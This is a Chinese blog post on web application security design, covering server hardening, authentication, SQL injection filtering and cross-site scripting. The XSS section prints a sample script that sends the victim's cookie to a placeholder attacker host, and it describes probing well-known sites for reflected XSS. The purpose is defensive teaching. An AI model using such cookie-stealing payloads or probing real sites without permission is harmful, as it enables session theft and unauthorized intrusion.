zoukankan      html  css  js  c++  java
  • web程序的安全性设计

      开发web应用的时候,在安全性需要注意哪些方面呢?搜集资料,简要记录如下:

      一个网站,安全问题可能从多方面而来。光是任何一方面,都不可能保证绝对的安全。一个安全的网站,必须要各方面配合才能打造出来。安全性要从两方面来考虑,一个是系统管理方面的安全性,一个是应用程序的安全性。

     

      一、系统管理方面的安全性考虑

    1 、首当其冲的是服务器的安全

      服务器本身如果被人入侵了,你的网站系统再安全,那也没有任何作用。记得要关闭所有没有使用的端口。要设置复杂的密码,关闭没有使用的账户。

    2 、其次是FTP 或者远程管理等的帐号安全

      如果人家破解了你的FTP 或者远程管理权限,那也就等于窗户开给人家怕,那家里的东西自然是随便拿了。

    3 、应用服务器的安全性。

    4 、数据库的安全性

      设置数据库只有应用服务器才能连接。其他外部的机器一概不能连接。设置复杂的密码

    5 、数据的安全备份与恢复机制。

    6 、防止感染病毒或木马的图片或附件上传到网站上。

    7 、使用网页防篡改工具。

    8 、使用防火墙、入侵检测、WEB 安全网关等安全软件来保护系统。

    9 、使用WEB 应用防火墙

    10 、使用漏洞扫描工具对网站进行安全性测试

     

    二、网站开发方面的安全性考虑

    1. 用户身份验证

      传统的用户验证过程如下:将客户端输入的验证信息进行MD5 加密形成 密文 1” ,发送到服务器端,服务器端从数据库读出验证信息的MD5 值(密文2 ),然后 密文1” 与 密文2” 对比,若相等则认证成功,否则失败。 但是,如果 密文1” 在传输过程中被非法获取,非法用户即使不知道 密文1” 的内容,直接向服务器发送密文1” 并请求验证,则验证可能成功,用户的真实 性无法保证。因此,需要对用户的验证过程进行改进。在客户端请求验证的同时,通过Ajax 技术异步向服务器申请一个临时的验证码,客户端将用户信息进行MD5 混合运算后生成 密文1” ,附加验证码一起发送到服务器,服务器首先检查验证码是否与服务器端一致,若一致,到数据库中检索是否存在 密文1” 的 用户,存在则成功,否则失败。验证码是改进后的验证关键,同时验证码还可以防止入侵者使用程序自动登录服务器,进行密码的暴力破解。因此,技术上要求不能 被复制,不能被扫描仪自动识别,随机生成。采用模糊的图片方式才能达到要求。

    2 、使用HTTPS 进行用户身份认证。如果不采用这条,至少要采用第一条。

    3 、双重验证

      有些系统只在客户端进行验证,这是很不安全的。因为在传输过程中有可能被恶意篡改,服务器得到的将不是真实的数据,或者直接在URL 中输验证请求,将会绕过客户端的验证程序,提交不安全的数据。因此,可以采用双重验证的方式,客户端 的验证可以提高与用户的交互性,服务器端的验证保证数据的安全性。

    4 、抗SQL 注入式攻击

      SQL 注入式攻击是指在输入框或URL 中输入SQL 语句,绕过验证程序,非法获取用户的访问权,进行非法操作的入侵方式。防御SQL 注入式攻击的方法常用两种,一种是使用数据库管理系统的存储过程,另一种是对输入的信息和URL 请求信息中的敏感关键字过滤。

      怎样防止SQL 注入?
        
     比如URL 、表单等提交信息时,通过一段防止SQL 注入的过滤代码即可防止出错信息暴露,或者通过转向,当系统出错时转到一个提示出错的页面等。同时服务器权限设置是一个非常重要的方面,由于涉及到服务器的配置比较多,本文不介绍。

    对于文本型输入,如果要进行检查,就得根据字段本身的性质进行。例如如果是年龄,就得限定必须是数字,大小必须限定在一个范围之间,比如说18-120 之间。对于用户名,应该建立一个集合,这个集合里存放有被允许的字符,或被禁止的字符。

    这里特别需要说明的一点是关于检查程序的问题。目前,程序对输入数据的检查是在前台通过客户端脚本完成的,这样攻击者很容易就可以绕过检查程序。建议采用前后台结合的方法,既可以保证效率,有可以提高安全性。

    5 、使用Acegi 进行权限控制。   

    6 、网站的错误信息必须经过处理后再输出

      错误消息常常包含非常可怕的技术细节,帮助黑客攻破您的网站,您应当对网站底层程序的错误消息进行处理,防止那些调试信息,技术细节暴露给普通访问者。

    7 、抗Cross-Site Scripting

      风险:

        可以偷盗或者操作用户Session 和Cookie ,这样攻击者可以扮演一个合法的客户进行操作。 

      技术说明:

        Cross-Site Scripting 是一种秘密攻击行为,它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一个事实:网站未对用户在页面中输入的JavaScript (通常是作为参数值)进行清洗(消毒)。这样,当在返回信息中包含这段JavaScript 代码,这段代码就会在客户端的Browser 中执行。这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行,收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie ,

        攻击者会做进一步处理:攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接,将会向包含恶意代码作为参数的网站发起一个请求。如果这个网站将这串参数值(恶意代码)嵌入在返回中,恶意代码将在客户端的浏览器中执行: 

      恶意代码可能会做:

      1. 将用户的cookie 发送给攻击者

      2. 将能够通过Dom(URLs, Form field 。。。) 取到的信息发送给攻击者,结果是客户的安全性受到了威胁。

      一些注释:

      1. 虽然攻击者的Web Site 也被卷入,但是并没有直接包含进来。攻击者通过采用“jump station ”方式将返回客户,好像是合法的(It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate. )。无论如何,由于用户是在使用这个特定的网站,而且是这个网站的直接返回,因此可以认为是这个网站的安全漏洞。

      2. 这个怀有恶意的链接由攻击者生成,可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email 的方式发送给受害人。

      3 .由于用户输入是作为form 的字段值,可以知道这串恶意代码从什么地方来的,

      4. 各种浏览器实现的不一样,有时候在这种浏览器上没有问题,但是换一种浏览器就会有问题。 

      攻击方法:

        写一个链接:  参数值为:

    <SCRIPT>

    document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie

    </SCRIPT>

        这样,当服务器返回时,上面这串脚本将自动执行,将本地的Cookie 发现指定的URL ,用户资料泄露了。 

      根本原因:

      1. 没有对输入进行约束,没有对输出进行编码
      2. 没有严格区分“ 数据” 和“ 代码”

       解决方式:

      1. 加强对参数的校验:
      一定要做,大量的漏洞都是针对参数未作校验引出很多攻击手法( 会有如何检查参数的单独说明) 

      使用时机:

      我尝试在各种不同网站寻找 XSS 漏洞, baidu, amazon.cn, youku.com,dangdang.com 等等。结果,我发现XSS 漏洞非常普遍!其实XSS 利用的是网页的回显,即,接收用户的输入,然后再在页面 显示用户的输入。总结一下几个可能会出现漏洞的地方:

      1.    搜索引擎

      2.    留言板

      3.    错误页面

      通过在上面那些类型的页面输入一些特殊的字符(包括< > / " ),如:</?jjkk> ,然后在结果页中的源码处搜索是否存在原样的:</?jjkk> ,如果存在,恭喜你,发现了一个XSS 漏洞。

      危害:

      1.    盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

      2.    控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

      3.    盗窃企业重要的具有商业价值的资料

      4.    非法转账

      5.    强制发送电子邮件

      6.    网站挂马

      7.    控制受害者机器向其它网站发起攻击

      发现问题:

      1.    查找所有包含用户输入的入口。

      2.    跟踪流入应用程序的每一个数据。

      3.    确定数据是否与输出有关系。

      4.    如果与输出有关,它是不是原始数据,是不是经过处理的?

     

  • 相关阅读:
    18款在线代码片段测试工具
    毫秒必争,前端网页性能最佳实践
    如何判断Javascript对象是否存在
    推荐10款免费的在线UI测试工具
    揭开Socket编程的面纱
    使用 jQuery Ajax 在页面滚动时从服务器加载数据
    对Android开发者有益的40条优化建议
    web api+递归树型结构
    asp.net Lodop实现批量打印
    asp.net lodop单个打印
  • 原文地址:https://www.cnblogs.com/weilei/p/2666537.html
Copyright © 2011-2022 走看看